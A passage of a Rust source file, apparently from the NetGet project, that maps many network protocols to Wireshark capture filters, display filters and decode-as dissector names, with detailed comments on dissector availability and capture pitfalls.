Skip to main content

netget/tui/
wireshark.rs

1//! `[ view in wireshark ]` — a paste-ready capture command for one instance.
2//!
3//! NetGet does not write pcaps; what it can do is tell Wireshark exactly where
4//! to look. Given what the dashboard already knows about an instance (its
5//! protocol, the address it binds or dials, an interface for the raw-socket
6//! protocols) this module derives:
7//!
8//! * the **interface** to listen on (loopback for local addresses, the
9//!   platform's "everything" device otherwise),
10//! * a **capture filter** (BPF, applied at capture time — cheap),
11//! * a **display filter** (Wireshark syntax — names the dissector, so the
12//!   packet list shows decoded `HTTP`/`DNS`/`MQTT` rows, not `TCP`),
13//! * a `-d` **decode-as** clause, because most instances sit on a port
14//!   Wireshark would not guess the protocol for (an HTTP server on 8080 is
15//!   just TCP to it until told otherwise),
16//! * and the `wireshark` / `tshark` command lines that put those together.
17//!
18//! Everything here is pure and platform-parameterised so it can be asserted in
19//! tests; the only system knowledge is a table of which NetGet protocol rides
20//! on which transport and what Wireshark calls its dissector. A protocol
21//! missing from the table still gets a correct, if undecoded, capture.
22//!
23//! The form offers the same thing **before** the instance exists, so the
24//! capture can be running when the first packet arrives — the whole point of
25//! showing it at creation time.
26
27use crate::utils::sanitize::has_controls;
28use std::fmt::Write as _;
29
30/// What the protocol rides on, which decides both filters.
31#[derive(Debug, Clone, Copy, PartialEq, Eq)]
32pub enum Transport {
33    Tcp,
34    Udp,
35    /// Served on both (DNS, SIP, syslog): filter on the port, either transport.
36    TcpOrUdp,
37    /// An IP-level or link-level protocol with no port. The payload is the
38    /// BPF keyword/expression that selects it.
39    Raw(&'static str),
40    /// Not on an IP network at all — USB, Bluetooth, a pty. Wireshark can
41    /// sometimes still see it, but not through a network interface.
42    NotNetwork,
43}
44
45/// How Wireshark should treat one protocol.
46#[derive(Debug, Clone, Copy, PartialEq, Eq)]
47pub struct Wire {
48    pub transport: Transport,
49    /// Dissector name for `-d <transport>.port==N,<name>`; `None` means no
50    /// application-layer dissector applies (plain TCP/UDP) or the protocol has
51    /// no port.
52    pub decode_as: Option<&'static str>,
53    /// Display-filter expression for the application layer, when it differs
54    /// from `decode_as` (`nbss` decodes SMB, but you filter on `smb2`).
55    pub display: Option<&'static str>,
56    /// A sentence for the protocols Wireshark cannot reach via an interface.
57    pub note: Option<&'static str>,
58}
59
60const fn tcp(decode_as: &'static str) -> Wire {
61    Wire {
62        transport: Transport::Tcp,
63        decode_as: Some(decode_as),
64        display: None,
65        note: None,
66    }
67}
68
69const fn udp(decode_as: &'static str) -> Wire {
70    Wire {
71        transport: Transport::Udp,
72        decode_as: Some(decode_as),
73        display: None,
74        note: None,
75    }
76}
77
78const fn either(decode_as: &'static str) -> Wire {
79    Wire {
80        transport: Transport::TcpOrUdp,
81        decode_as: Some(decode_as),
82        display: None,
83        note: None,
84    }
85}
86
87const fn raw(bpf: &'static str, display: &'static str) -> Wire {
88    Wire {
89        transport: Transport::Raw(bpf),
90        decode_as: None,
91        display: Some(display),
92        note: None,
93    }
94}
95
96const fn offline(note: &'static str) -> Wire {
97    Wire {
98        transport: Transport::NotNetwork,
99        decode_as: None,
100        display: None,
101        note: Some(note),
102    }
103}
104
105const fn with_display(wire: Wire, display: &'static str) -> Wire {
106    Wire {
107        display: Some(display),
108        ..wire
109    }
110}
111
112/// Attach a caveat to an otherwise-correct entry.
113///
114/// Distinct from [`offline`], which says "there is no capture command for this at all".
115/// These protocols *do* have a working command; the note warns about a way the obvious
116/// capture still shows you the wrong thing.
117const fn with_note(wire: Wire, note: &'static str) -> Wire {
118    Wire {
119        note: Some(note),
120        ..wire
121    }
122}
123
124const PLAIN_TCP: Wire = Wire {
125    transport: Transport::Tcp,
126    decode_as: None,
127    display: None,
128    note: None,
129};
130
131const PLAIN_UDP: Wire = Wire {
132    transport: Transport::Udp,
133    decode_as: None,
134    display: None,
135    note: None,
136};
137
138const DEVP2P_NOTE: &str = "RLPx encrypts every devp2p frame (AES-256-CTR, keys from an ECIES \
139    handshake) and Wireshark has no RLPx dissector, so the capture shows the two handshake \
140    packets and frame sizes, never a message. NetGet's own log has every decoded message.";
141
142const VXLAN_ENCAPSULATION_NOTE: &str = "This decodes VXLAN. With encapsulation geneve use \
143    `-d udp.port==<port>,geneve` instead, and with gretap (GRE in UDP) `-d udp.port==<port>,gre`.";
144
145const TFTP_TID_NOTE: &str = "A `udp port 69` filter captures only the initial RRQ/WRQ. TFTP \
146    then moves the transfer to an ephemeral TID port, so every DATA and ACK packet is missed. \
147    Capture the host instead (drop the port from the filter) and use the `tftp` display filter.";
148
149const GTP_NOTE: &str = "GTP binds two ports and they are different protocols: GTP-C on \
1502123 (signalling) and GTP-U on 2152 (user payload). Give each its own `-d udp.port==N,gtp` \
151clause, or the port you omit stays undecoded.";
152
153const M3UA_NOTE: &str = "M3UA runs over SCTP with payload protocol identifier 3, which \
154Wireshark's m3ua dissector registers on, so the `sctp` capture filter needs no decode-as clause; \
155SCCP, TCAP, GSM MAP and CAMEL are dissected beneath it by service indicator, SSN and application \
156context. NetGet's non-standard `transport=tcp` lab transport carries the same messages on a TCP \
157stream: capture `tcp port N` and add `-d tcp.port==N,m3ua` for that one.";
158
159const NGAP_NOTE: &str = "NGAP runs over SCTP with payload protocol identifier 60, which \
160Wireshark's ngap dissector registers on, so the `sctp` capture filter and the `ngap` display filter \
161are all that is needed (add `-d sctp.port==N,ngap` only if a peer sends PPID 0). NetGet's \
162`transport=tcp` lab framing is a NetGet-only 4-octet length prefix over TCP that no dissector \
163knows, so a lab-transport capture shows plain TCP; read the PDUs in the hex pane.";
164
165const CAN_NOTE: &str = "Wireshark dissects CAN from a SocketCAN capture on a bus interface \
166(`can0`, `vcan0`) on Linux, where `can` is a valid display filter. There is no IP port to \
167filter on. NetGet's UDP transport carries a raw `struct can_frame` with no encapsulation \
168Wireshark recognises, and `-d udp.port==N,can` is rejected outright - so for the UDP lab \
169transport there is nothing to decode with, and the bytes must be read by hand.";
170
171const NFC_SERVER_NOTE: &str = "NetGet's NFC server is a plain TCP socket speaking vpcd - no \
172PC/SC call is made and no reader is involved - so the whole exchange is capturable on \
173loopback. Wireshark has no vpcd dissector, so the length-prefixed APDUs appear as raw bytes; \
174read them in the hex pane.";
175
176const L2_ETHER_ONLY_NOTE: &str = "This filter names an Ethernet address or EtherType, which \
177BPF rejects on a loopback device (DLT_NULL on macOS) - the same trap as `isis` and `arp`. \
178Capture on a real NIC, or on the feth pair. The UDP test transport is not a way round it: \
179neither `eth_withoutfcs` nor these link-layer names is a valid `udp.port` decode-as target, so \
180those frames cannot be dissected at all.";
181
182const CARP_NOTE: &str = "If this server is running the `carp` variant, add `-d \
183ip.proto==112,carp`. CARP shares IP protocol 112 with VRRP and Wireshark registers `carp` as \
184the default for nothing, so without that clause a CARP packet is dissected as VRRP - and a \
185healthy CARP host then reads as a VRRPv2 master resigning.";
186
187const USBIP_NOTE: &str = "NetGet's USB servers are plain TCP listeners speaking USB/IP, so the \
188whole session is capturable on the port NetGet chose. This is strictly better than usbmon: no \
189kernel ever enumerates these devices, so usbmon cannot see them at all. The dissector handles \
190OP_REQ_IMPORT and USBIP_CMD_SUBMIT framing and the class payloads (CCID, HID, MSC).";
191
192const ARP_LOOPBACK_NOTE: &str = "`arp` is an Ethernet-only BPF keyword and is rejected on \
193    loopback, which is DLT_NULL on macOS. Capture on a real interface; ARP is not carried on lo0 \
194    at all, so there would be nothing to see there anyway. Same trap as isis.";
195
196const QUIC_ALPN_NOTE: &str = "NetGet's raw QUIC protocol negotiates ALPN `netget-quic`. \
197    Its bidirectional streams contain application bytes delimited by FIN. HTTP/3 uses \
198    the separate `http3` protocol and ALPN `h3`.";
199
200const USB_NOTE: &str = "USB is not network traffic. Wireshark can capture it from usbmon on \
201                        Linux (tshark -D lists usbmonN) or the XHC20 device on macOS after \
202                        `sudo ifconfig XHC20 up`; the USB/IP socket NetGet exposes is plain TCP \
203                        and can be watched on that port instead.";
204const BLE_NOTE: &str = "Bluetooth is not network traffic. On Linux use btmon or Wireshark's \
205                        bluetooth-monitor interface; on macOS enable PacketLogger from the \
206                        Bluetooth developer tools and open its .pklg in Wireshark.";
207const LOCAL_NOTE: &str = "This protocol runs over a local descriptor (pty, pipe, socket file, \
208                          stdio), which never crosses a network interface. Use `strace -e \
209                          trace=read,write` / `dtruss` on the process, or `socat -v` in front \
210                          of the socket, to watch it.";
211
212/// NetGet protocol name (as `protocol_name()` reports it, any case) → wire.
213///
214/// A name not listed here is plain TCP: every protocol in the registry that
215/// is not UDP, raw or off-network speaks TCP, so the default is right far
216/// more often than it is wrong, and the worst case is an undecoded capture.
217pub fn wire_for(protocol: &str) -> Wire {
218    let name = protocol.trim().to_ascii_lowercase().replace('-', "_");
219    match name.as_str() {
220        // ---- transports --------------------------------------------------
221        "tcp" | "reverse_shell" | "dc" | "zookeeper" | "svn" => PLAIN_TCP,
222        "udp" | "statsd" | "dogstatsd" => PLAIN_UDP,
223        // Steam server query has no dissector in this build (`tshark -G protocols` lists none);
224        // it is UDP, so the TCP fallback would capture nothing.
225        "minecraft" => with_note(PLAIN_TCP, "Wireshark has no Minecraft Java Edition dissector (its mcpe is Bedrock over RakNet): each packet is a VarInt length, a VarInt id and the body; a legacy ping starts FE and is answered FF."),
226        "a2s" => with_note(PLAIN_UDP, "Wireshark has no A2S dissector: each datagram starts FF FF FF FF (FE FF FF FF for split answers), then T/U/V for a query and A/I/D/E for a challenge or answer."),
227        "gelf" | "graylog" => Wire {
228            transport: Transport::TcpOrUdp,
229            decode_as: None,
230            display: None,
231            note: Some("GELF supports UDP and TCP on this port. For UDP add `-d udp.port==PORT,gelf`; the GELF dissector does not accept TCP decode-as. TCP messages are NUL-delimited JSON."),
232        },
233        "tls" | "dot" | "tor_relay" => tcp("tls"),
234        "doq" => udp("quic"),
235        // RFC 7011 version 10 over UDP. Decode-as and display syntax checked with tshark.
236        "ipfix" => udp("cflow"),
237        "sflow" => udp("sflow"),
238        "netflow_v9" | "netflowv9" => udp("cflow"),
239        "quic" => with_note(udp("quic"), QUIC_ALPN_NOTE),
240        // The discovery family. All three are UDP and all three were falling through to the
241        // PLAIN_TCP default, which is simply the wrong transport. Dissector names checked
242        // against this machine's tshark: present in `-G protocols` and accepted by
243        // `-d udp.port==N,<name>` (a bogus name is rejected there, so the check is real).
244        // The DynamoDB *client* reports protocol_name() "DynamoDB" -> "dynamodb", which the
245        // web arm above does not list (it has only the server's "dynamo"), so it fell through
246        // to PLAIN_TCP and lost the HTTP dissector.
247        "dynamodb" => tcp("http"),
248        // Client-only protocol names. Both talk HTTP to a provider and may use TLS, so the
249        // display filter admits either; without an arm they defaulted to plain TCP.
250        "openidconnect" => with_display(tcp("http"), "http || tls"),
251        "saml" => with_display(tcp("http"), "http || tls"),
252        // finger and gopher have real dissectors (verified present in `tshark -G protocols`
253        // on this machine). `ident` deliberately has NO entry: this Wireshark build ships no
254        // ident dissector, so naming one would be a lie and plain TCP is the honest answer.
255        "finger" => tcp("finger"),
256        "gopher" => tcp("gopher"),
257        // DICT (RFC 2229, TCP 2628) has no dissector in this Wireshark build: `tshark -G
258        // protocols` lists none and `-d tcp.port==2628,dict` is rejected as an unknown
259        // protocol. Plain TCP is the honest answer; "Follow TCP Stream" reads it fine.
260        "dict" => PLAIN_TCP,
261        "tacacs" | "tacacs+" | "tacacs_plus" | "tacacsplus" => with_note(
262            tcp("tacplus"),
263            "This feature speaks legacy RFC 8907 TACACS+. Its obfuscated body requires the configured shared secret in Wireshark to decode; it does not speak the TLS profile.",
264        ),
265        "diameter" => with_note(
266            tcp("diameter"),
267            "This binding uses clear TCP for the selected stateless NASREQ application. TLS, SCTP and vendor applications are outside its implemented surface.",
268        ),
269        // Neo4j's Bolt (TCP 7687) has no dissector in this Wireshark build (4.6.8): `tshark -G
270        // protocols` lists nothing matching bolt, neo4j or packstream. Plain TCP; the chunked
271        // PackStream is binary, so "Follow TCP Stream" in hex is what a capture offers.
272        "bolt" => PLAIN_TCP,
273        // Beanstalkd (TCP 11300) has no dissector in this Wireshark build: `tshark -G protocols`
274        // lists none. Plain TCP; its text protocol reads fine in "Follow TCP Stream".
275        "beanstalkd" => PLAIN_TCP,
276        // Zabbix trapper (TCP 10051). `zabbix` is Wireshark's own dissector for the ZBXD
277        // framing (`tshark -G protocols` lists it; checked with `-d tcp.port==10051,zabbix`).
278        "zabbix" => tcp("zabbix"),
279        // Gearman (TCP 4730). `gearman` is Wireshark's own dissector for the binary packet
280        // protocol (`tshark -G protocols` lists it; checked with `-d tcp.port==4730,gearman`).
281        "gearman" => tcp("gearman"),
282        // NSQ (TCP 4150) has no dissector in this Wireshark build: `tshark -G protocols` lists
283        // nothing matching nsq. Plain TCP; its commands are text lines and "Follow TCP Stream"
284        // reads them, with the size-prefixed frames in between.
285        "nsq" => PLAIN_TCP,
286        // Gemini (TCP 1965) runs entirely inside TLS and this Wireshark build has no gemini
287        // dissector (`tshark -G protocols` lists none), so the TLS layer is the most any
288        // capture can show without the session keys.
289        "gemini" => tcp("tls"),
290        // EPP is RFC 5734 length-prefixed XML inside TLS; this build has no EPP dissector.
291        "epp" => with_note(tcp("tls"), "EPP frames are a 4-byte length and an XML document inside TLS. Without the TLS session keys only the handshake shows; with tls: false follow the TCP stream to read the XML."),
292        // Nostr relay: NIP-01 JSON in WebSocket text frames after an HTTP/1.1 upgrade. There is
293        // no nostr dissector in this Wireshark build (`tshark -G protocols` lists none); decoded
294        // as `http`, the 101 hands the stream to Wireshark's own `websocket` dissector, whose
295        // payload it reads as JSON — checked with `-d tcp.port==N,http -Y websocket`.
296        "nostr" => with_display(tcp("http"), "websocket"),
297        // OCPP-J is JSON text in WebSocket frames; no OCPP dissector exists in this build.
298        "ocpp" => with_note(with_display(tcp("http"), "websocket"), "OCPP-J messages are JSON arrays in WebSocket text frames; the websocket filter shows each CALL, CALLRESULT and CALLERROR."),
299        // A2A is JSON-RPC over plain HTTP (SSE for streams); no A2A dissector exists.
300        "stratum v2" | "stratum_v2" | "stratumv2" => with_note(PLAIN_TCP, "Wireshark has no Stratum V2 dissector, and after the handshake there is nothing to dissect: the first 64 bytes from the device and 234 from the pool are the Noise NX handshake (ElligatorSwift keys, then the encrypted static key and certificate), and every frame after is a 22-byte encrypted header followed by ChaCha20-Poly1305 chunks. Message timing and sizes are all a capture shows."),
301        "onvif" => with_note(tcp("http"), "ONVIF is SOAP 1.2 in HTTP POST bodies to /onvif/device_service and /onvif/media_service; the http filter shows each envelope, with its WS-Security UsernameToken in the header."),
302        "a2a" => with_note(tcp("http"), "A2A 1.0 is JSON-RPC 2.0 in HTTP POST bodies to /, with streamed answers as text/event-stream; the agent card is GET /.well-known/agent-card.json."),
303        // GraphQL is JSON over plain HTTP; no GraphQL dissector exists in this build.
304        "graphql" => with_note(tcp("http"), "GraphQL requests are JSON POST bodies (or GET query strings) to the endpoint path; answers are application/graphql-response+json or application/json. Subscriptions are graphql-transport-ws JSON in WebSocket text frames on the same path: add the websocket display filter."),
305        "ssdp" => udp("ssdp"),
306        "llmnr" => udp("llmnr"),
307        "netbios_ns" => udp("nbns"),
308        // Both HTTP/3 roles use QUIC. Application fields require TLS secrets.
309        "http3" | "http/3" | "h3" => with_note(
310            with_display(udp("quic"), "http3 || quic"),
311            "HTTP/3 uses ALPN h3 over UDP. Wireshark needs TLS session secrets to inspect HTTP/3 headers and data; otherwise the capture shows QUIC.",
312        ),
313        // WebTransport sessions are HTTP/3 extended CONNECT; streams and datagrams ride QUIC.
314        "webtransport" => with_note(
315            with_display(udp("quic"), "http3 || quic"),
316            "WebTransport is an HTTP/3 extended CONNECT (ALPN h3) whose streams and datagrams are QUIC payload. Wireshark needs the TLS session secrets to show the CONNECT and the session's data; otherwise the capture shows QUIC.",
317        ),
318        "fluentforward" | "fluent_forward" | "fluentd" => with_note(
319            PLAIN_TCP,
320            "Fluent Forward uses MessagePack over TCP. This Wireshark build has no Forward dissector; inspect the stream bytes and correlated ACKs.",
321        ),
322        // ---- web ---------------------------------------------------------
323        "http" | "websocket" | "proxy" | "webdav" | "jsonrpc" | "xmlrpc" | "openapi" | "openai"
324        | "ollama" | "mcp" | "oauth2" | "openid" | "saml_idp" | "saml_sp" | "s3" | "sqs"
325        | "dynamo" | "elasticsearch" | "couchdb" | "kubernetes" | "oci_registry" | "npm"
326        | "pypi" | "maven" | "rss" | "hls" | "yarn" | "spark" | "snowflake" | "mercurial"
327        | "webrtc_signaling" | "torrent_tracker" | "prometheus" | "prometheus_remote_write" | "prometheusremotewrite"
328        | "remote_write" | "prometheus_write" | "vault" | "influxdb" | "loki" => tcp("http"),
329        "docker" => with_note(
330            tcp("http"),
331            "This captures Docker HTTP TCP connections. A native Unix socket has no IP packets to capture.",
332        ),
333        // The receiver admits both HTTP/1.1 and gRPC/HTTP2 on the same port. Do not
334        // force one dissector before the instance's selected transport is known.
335        "otlp" => Wire {
336            transport: Transport::Tcp,
337            decode_as: None,
338            display: Some("http || http2 || grpc"),
339            note: Some("Choose HTTP for OTLP/HTTP or HTTP/2 for OTLP/gRPC in Wireshark Decode As. TLS exports require TLS session keys."),
340        },
341        "doh" => tcp("tls"),
342        "http2" => tcp("http2"),
343        "grpc" | "etcd" => with_display(tcp("http2"), "grpc || http2"),
344        "gnmi" => with_note(
345            with_display(tcp("http2"), "grpc || http2"),
346            "gNMI uses native HTTP/2 and the OpenConfig gNMI protobuf schema. This recipe decodes the cleartext carrier; explicitly enabled TLS requires session keys and TLS Decode As in Wireshark.",
347        ),
348        "connect_rpc" | "connectrpc" | "connect rpc" => with_note(
349            tcp("http"),
350            "This binding uses binary protobuf ConnectRPC over cleartext HTTP/1.1. The HTTP carrier is decoded; protobuf bodies require the matching schema and streamed replies end with a Connect EndStream envelope.",
351        ),
352        "grpc_web" | "grpcweb" | "grpc web" => with_note(
353            tcp("http"),
354            "This binding uses binary gRPC-Web over cleartext HTTP/1.1. The HTTP carrier is decoded; protobuf body interpretation requires the matching schema.",
355        ),
356        // ---- mail / text -------------------------------------------------
357        "smtp" => tcp("smtp"),
358        // LMTP (RFC 2033) has no dissector of its own; it shares SMTP's command and reply syntax,
359        // so the SMTP dissector reads it, apart from naming LHLO as an unknown command.
360        "lmtp" => with_note(tcp("smtp"), "Wireshark has no LMTP dissector; decoded as SMTP, which reads the shared command and reply syntax. Expect one reply per accepted recipient after the final dot."),
361        // Wireshark's `lpd` dissector reads RFC 1179 command codes and the receive-job subcommands.
362        "lpd" => tcp("lpd"),
363        // Wireshark's `9p` dissector decodes 9P2000 (and .u/.L) on TCP; checked with `tshark -d`.
364        "9p" => tcp("9p"),
365        // Wireshark's `msgpack` dissector decodes the values; the RPC envelope is the array
366        // [type, msgid, method, params] it shows.
367        "msgpack-rpc" => tcp("msgpack"),
368        "clickhouse" => with_note(PLAIN_TCP, "Wireshark has no ClickHouse native-protocol dissector: packets start with a VarUInt type (client 0 hello, 1 query, 2 data, 4 ping; server 0 hello, 1 data, 2 exception, 5 end of stream) followed by length-prefixed strings and column blocks."),
369        // Wireshark's `smpp` dissector decodes SMPP 3.4 PDUs, receipts and TLVs.
370        "smpp" => tcp("smpp"),
371        "zeromq" => with_note(PLAIN_TCP, "Wireshark ships no ZMTP dissector (the zeromq project publishes a Lua one): after a 64-byte greeting starting FF and ending the signature 7F, each frame is a flags byte (01 more, 02 long, 04 command) and a 1- or 8-byte size."),
372        // The classic inetd services: Wireshark ships `echo`, `discard`, `daytime`, `chargen`
373        // and `time` dissectors (checked with `tshark -G protocols`); qotd has none.
374        "echo" => tcp("echo"),
375        "discard" => tcp("discard"),
376        "daytime" => tcp("daytime"),
377        "chargen" => tcp("chargen"),
378        "time" => tcp("time"),
379        "pop3" => tcp("pop"),
380        "imap" => tcp("imap"),
381        "nntp" => tcp("nntp"),
382        "irc" => tcp("irc"),
383        "xmpp" => tcp("xmpp"),
384        "telnet" => tcp("telnet"),
385        "ssh" => tcp("ssh"),
386        // No NETCONF dissector exists in this Wireshark build (4.6.8: `tshark -G protocols`
387        // lists none), and NETCONF over SSH is inside the encrypted channel anyway, so the
388        // honest recipe decodes the SSH transport on the NETCONF port.
389        // `rpkirtr` is in the tcp.port decode-as table (tshark -G decodes: tcp.port 323).
390        "rpki_rtr" | "rpki-rtr" | "rpki" => tcp("rpkirtr"),
391        // RDAP is JSON over HTTP; Wireshark has no RDAP dissector, the HTTP one shows it all.
392        // `hl7` decodes MLLP-framed HL7 v2 on tcp.port (tshark -G decodes: tcp.port 2575).
393        "hl7" | "mllp" => tcp("hl7"),
394        // `icap` is in the tcp.port decode-as table (tshark -G decodes: tcp.port 1344).
395        "icap" => tcp("icap"),
396        "fastcgi" => tcp("fcgi"),
397        // `dicom` is in the tcp.port decode-as table (tshark -G decodes: tcp.port 104).
398        "dicom" => tcp("dicom"),
399        // CalDAV and CardDAV are WebDAV verbs (PROPFIND, REPORT, MKCALENDAR) over HTTP.
400        // ACME is JWS-signed JSON over HTTP(S); there is no ACME dissector.
401        "acme" => with_note(tcp("http"), "ACME is application/jose+json over HTTP: JWS-signed POSTs to the directory's URLs, application/problem+json errors and PEM certificate chains; with tls_cert_file the listener is HTTPS and Wireshark shows only TLS without the key."),
402        "caldav" => with_note(tcp("http"), "CalDAV is WebDAV over HTTP: PROPFIND, REPORT and MKCALENDAR with XML bodies, iCalendar in GET and PUT; production servers use HTTPS."),
403        "carddav" => with_note(tcp("http"), "CardDAV is WebDAV over HTTP: PROPFIND, REPORT and extended MKCOL with XML bodies, vCards in GET and PUT; production servers use HTTPS."),
404        // Socket.IO is Engine.IO text over HTTP long-polling or WebSocket; no dedicated dissector.
405        "socketio" => with_note(with_display(tcp("http"), "http || websocket"), "Engine.IO packets are text: long-polling bodies split on U+001E, or one packet per WebSocket text frame (4 = message; 42 = a Socket.IO event)."),
406        // SCIM is JSON (application/scim+json) over HTTP; there is no SCIM dissector.
407        "scim" => with_note(tcp("http"), "SCIM is application/scim+json over HTTP under the service's base path (often /scim/v2); production services use HTTPS."),
408        // Redfish is JSON over HTTP(S); there is no Redfish dissector.
409        "redfish" => with_note(tcp("http"), "Redfish is JSON over HTTP under /redfish/v1; real BMCs use HTTPS, so capture shows TLS unless the service runs plain HTTP as NetGet's does."),
410        "rdap" => with_note(tcp("http"), "RDAP is JSON over HTTP (application/rdap+json); the HTTP dissector shows each query and answer. Production RDAP is HTTPS."),
411        "netconf" => with_note(
412            tcp("ssh"),
413            "NETCONF runs inside an encrypted SSH channel (RFC 6242). Wireshark shows the SSH handshake and encrypted packets; the XML is not visible without the session keys.",
414        ),
415        "ftp" => tcp("ftp"),
416        "whois" => tcp("whois"),
417        "socks5" => tcp("socks"),
418        // NetGet's git server implements Smart **HTTP** only - the payload starts
419        // "GET /...info/refs?service=git-upload-pack HTTP/1.1". Wireshark's `git`
420        // dissector decodes pkt-line directly over TCP, i.e. git:// on 9418, and will not
421        // decode this. The trap is that our own examples use port 9418, which makes the
422        // wrong entry look right.
423        "git" => tcp("http"),
424        // ---- databases / brokers -----------------------------------------
425        "mysql" => tcp("mysql"),
426        "postgresql" => tcp("pgsql"),
427        "mssql" => tcp("tds"),
428        "mongodb" => tcp("mongo"),
429        "cassandra" => tcp("cql"),
430        // DRDA registers only a heuristic dissector — it is not in the
431        // `tcp.port` decode-as table, so name it in the display filter alone.
432        "db2" => with_display(PLAIN_TCP, "drda"),
433        // `srt` is a heuristic UDP dissector (srt_udp, on by default).
434        "srt" => with_display(PLAIN_UDP, "srt"),
435        // Wireshark's RTMP dissector is `rtmpt`, in the tcp.port decode-as table (1935).
436        "rtmp" => tcp("rtmpt"),
437        // WAMP is JSON in WebSocket text frames (subprotocol wamp.2.json); no WAMP dissector.
438        "wamp" => with_note(with_display(tcp("http"), "websocket"), "WAMP messages are JSON arrays in WebSocket text frames: [1, realm, details] is HELLO, 48 CALL, 50 RESULT, 16 PUBLISH, 36 EVENT."),
439        // `fix` is a heuristic TCP dissector (fix_tcp, on by default), not in the decode-as table.
440        "fix" => with_display(PLAIN_TCP, "fix"),
441        // Framed or unframed, binary or compact: the `thrift` dissector reads all four.
442        "thrift" => tcp("thrift"),
443        "bmp" => tcp("bmp"),
444        "redis" => tcp("resp"),
445        "memcached" => tcp("memcache"),
446        "ldap" => tcp("ldap"),
447        "kafka" => tcp("kafka"),
448        "amqp" => tcp("amqp"),
449        // Wireshark's `amqp` dissector reads 1.0 as well as 0-9-1 from the protocol header.
450        "amqp1" => tcp("amqp"),
451        "mqtt" => tcp("mqtt"),
452        "mqtt_sn" => udp("mqttsn"),
453        "nbd" => tcp("nbd"),
454        // RESTCONF is HTTP carrying YANG JSON.
455        "restconf" => tcp("http"),
456        // JMAP is JSON over HTTPS (or HTTP with tls: false); TLS hides it without session keys.
457        "jmap" => with_note(with_display(tcp("http"), "http || tls"), "JMAP requests are JSON POSTs to the session's apiUrl. Over HTTPS (the default) Wireshark needs the TLS session keys to show them; with tls: false the http dissector shows the JSON."),
458        // LwM2M is CoAP: the coap dissector shows the operations (lwm2mtlv decodes TLV bodies).
459        "lwm2m" => udp("coap"),
460        // Wireshark ships no Zenoh dissector (the project offers a Lua plugin).
461        "zenoh" => with_note(PLAIN_TCP, "Wireshark has no built-in Zenoh dissector; the zenoh project publishes a Lua plugin (zenoh-dissector) that decodes this TCP stream."),
462        // Wireshark has no ManageSieve dissector; the protocol is CRLF text, readable as TCP.
463        "managesieve" => with_note(PLAIN_TCP, "ManageSieve is CRLF-delimited text: follow the TCP stream. Commands are atoms with quoted strings or {n+} literals; answers end in OK, NO or BYE."),
464        // ---- remote desktop / files / industrial -------------------------
465        "vnc" => tcp("vnc"),
466        "rdp" => with_display(tcp("tpkt"), "rdp"),
467        "spice" => tcp("spice"),
468        // SMB2 over TCP rides in the Direct TCP transport header, which Wireshark decodes as
469        // `nbss`; `smb2` has no `tcp.port` entry of its own, so it cannot be the decode-as.
470        "smb" => with_display(tcp("nbss"), "smb2 || smb"),
471        "nfs" => with_display(tcp("rpc"), "nfs"),
472        // The portmapper is ONC RPC on TCP and UDP; rpc decodes it and portmap names its calls.
473        "sunrpc" => with_display(either("rpc"), "portmap"),
474        "modbus" => tcp("mbtcp"),
475        // IPP is an HTTP payload; Wireshark reaches it through the http
476        // dissector, which picks ipp by media type.
477        "ipp" => with_display(tcp("http"), "ipp || http"),
478        "bgp" => tcp("bgp"),
479        "bitcoin" => tcp("bitcoin"),
480        // RLPx encrypts every frame after its two handshake packets and Wireshark has no RLPx
481        // dissector, so there is nothing to decode as: the capture shows packet sizes only.
482        "devp2p" => with_note(PLAIN_TCP, DEVP2P_NOTE),
483        "torrent_peer" => tcp("bittorrent"),
484        // ---- UDP ---------------------------------------------------------
485        "dns" => either("dns"),
486        "mdns" => udp("mdns"),
487        "ntp" => udp("ntp"),
488        "dhcp" | "bootp" => udp("dhcp"),
489        "dhcpv6" => udp("dhcpv6"),
490        // The WoL dissector is heuristic: it finds a magic packet on any UDP port and cannot
491        // be named in a udp.port decode-as, so only the display filter selects it.
492        "wol" => with_display(PLAIN_UDP, "wol"),
493        // `udp port 69` captures only the RRQ/WRQ: TFTP then moves to an ephemeral TID
494        // port for DATA/ACK, so a port-69 filter shows the request and none of the transfer.
495        "tftp" => with_note(udp("tftp"), TFTP_TID_NOTE),
496        "snmp" => udp("snmp"),
497        "syslog" => either("syslog"),
498        "radius" => udp("radius"),
499        "kerberos" => either("kerberos"),
500        "stun" => udp("stun"),
501        "turn" => with_display(udp("stun"), "stun || turnchannel"),
502        "coap" => udp("coap"),
503        "rip" => udp("rip"),
504        // The vxlan protocol also speaks Geneve and GRE-in-UDP, chosen by its `encapsulation`
505        // startup parameter, which this table cannot see; the note names their decode-as.
506        "vxlan" => with_note(udp("vxlan"), VXLAN_ENCAPSULATION_NOTE),
507        "pfcp" => udp("pfcp"),
508        "geneve" => udp("geneve"),
509        // GRE-in-UDP (RFC 8086): tshark 4.6.8 registers `gre` on udp.port 4754 and accepts it
510        // in `-d udp.port==N,gre`; protocol type 0x6558 hands the inner frame to `eth`.
511        "gre" | "gretap" => udp("gre"),
512        "bfd" => udp("bfd"),
513        "sip" => either("sip"),
514        // H.225.0 call signalling is Q.931 inside TPKT, which Wireshark finds on any TCP port
515        // by itself and hands on to H.225.0 and tunnelled H.245. No decode-as: `tpkt` names
516        // the TPKT heuristic meant for RDP, and with it nothing is dissected as H.225.0.
517        "h323" => with_display(PLAIN_TCP, "q931 || h225 || h245"),
518        // RAS: one PER-encoded RasMessage per datagram.
519        "h323_gatekeeper" => udp("h225"),
520        "rtp" => udp("rtp"),
521        "rtsp" => tcp("rtsp"),
522        "wireguard" => udp("wg"),
523        "openvpn" => udp("openvpn"),
524        "ipsec" => udp("isakmp"),
525        "torrent_dht" => with_display(udp("bt-dht"), "bt-dht"),
526        "webrtc" => with_display(udp("stun"), "stun || dtls || rtp"),
527        // The telecom/industrial family, all three of which were falling through to the
528        // PLAIN_TCP default. For gtp and can that default is the wrong *transport*, not
529        // merely a missing dissector. Checked against this machine's tshark 4.6.8, which
530        // rejects an unknown name in `-d` (verified with a bogus one), so these are
531        // measurements: `udp.port==N,gtp` is accepted, `tcp.port==N,m3ua` is accepted (the m3ua
532        // entry now names SCTP, its real transport; the note keeps the TCP lab form),
533        // and `udp.port==N,can` is *rejected* - hence can gets the off-network treatment
534        // rather than a dissector it does not have.
535        "gtp" => with_note(with_display(udp("gtp"), "gtp || gtpv2"), GTP_NOTE),
536        "m3ua" => with_note(raw("sctp", "m3ua || sccp || tcap || gsm_map || camel"), M3UA_NOTE),
537        "ngap" => with_note(raw("sctp", "ngap"), NGAP_NOTE),
538        "can" => offline(CAN_NOTE),
539        // ---- raw / link layer --------------------------------------------
540        "icmp" => raw("icmp", "icmp"),
541        "igmp" => raw("igmp", "igmp"),
